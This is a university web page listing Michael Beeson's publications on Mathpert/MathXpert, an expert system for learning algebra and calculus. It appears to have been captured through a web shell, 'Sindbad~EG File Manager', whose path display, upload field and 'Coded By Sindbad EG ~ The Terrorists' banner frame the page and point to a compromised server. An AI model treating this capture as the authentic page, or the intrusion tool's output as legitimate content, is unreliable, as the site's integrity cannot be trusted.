Sindbad~EG File Manager

Current Path : /usr/home/beeson/public_html/michaelbeeson/research/papers/
Upload File :
Current File : /usr/home/beeson/public_html/michaelbeeson/research/papers/mppubs.html

<!doctype html public "-//IETF//DTD HTML//EN">
<HTML>

<HEAD>

<META NAME="GENERATOR" CONTENT="Internet Assistant for Word 1.0Z">
<META NAME="AUTHOR" CONTENT="Michael Beeson">
</HEAD>

<BODY>

<H2>Michael Beeson </H2>

<H2><VAR>Publications about Mathpert</VAR></H2>

<P>
Numbers in this list are not consecutive because they coincide
with those in the <A HREF="pubs.html">List of All Publications</A>

<P>
28. <I>Mathpert</I>: An expert system for learning mathematics,
<I>Proceedings of the Conference on Technology in Collegiate Mathematics
Education, Columbus, Ohio, October, 1988</I>, pp. 9-14, Addison-Wesley
(1989).
<P>
29. The user model in <I>Mathpert</I>, an expert system for learning
mathematics, in: Bierman, Breuker, and Sandberg (eds.), <I>Artificial
Intelligence and Education '89,</I> pp. 9-14, IOS, Amsterdam (1989).
<P>
30. Logic and computation in <I>Mathpert</I>: An expert system
for learning mathematics, in: Kaltofen and Watt (eds.), <I>Computers
and Mathematics '89</I>, pp. 202-214, Springer-Verlag, New York/
Heidelberg/ Berlin (1989).
<P>
31. A computerized environment for learning algebra, trigonometry,
and calculus,<I> Journal of Artificial Intelligence and Education</I>
<B>1 </B>(1990) 65-76.
<P>
34. <I>Mathpert</I>: Computer support for learning algebra, trigonometry,
and calculus, in: A. Voronkov (ed.), <I>Logic Programming and
Automated Reasoning</I>, Lecture Notes in Computer Science <B>624</B>,Springer-Verlag
(1992).
<P>
36. Using nonstandard analysis to verify the correctness of computations,
<I>International Journal of Foundations of Computer Science</I>,
Vol. 6, No. 3 (1995) 299-338.
<P>
37. Design Principles of <I>Mathpert</I>:
Software to support education in algebra and calculus, in: Kajler,
N. (ed.) <I>Computer-Human Interaction in Symbolic Computation</I>,  pp. 89-115, Springer-Verlag, Berlin/ Heidelberg/ New York (1998).
		<p>46. MathXpert : un logiciel pour aider les &eacute;l&egrave;ves &agrave; apprendre les math&eacute;matiques par l'action, to appear in <i>Sciences et Techniques Educatives</i> in 2001. An English translation is available here in HTML&nbsp;form--just click and view: <i><a href="English-ste/English-ste.html">MathXpert: Learning Mathematics in the 21st Century</a>. </i>If you want to download it, be sure to save the many .gif files that go with it.</p>
		<p></p>
		<p></p>
	</BODY>

</HTML>

Sindbad File Manager Version 1.0, Coded By Sindbad EG ~ The Terrorists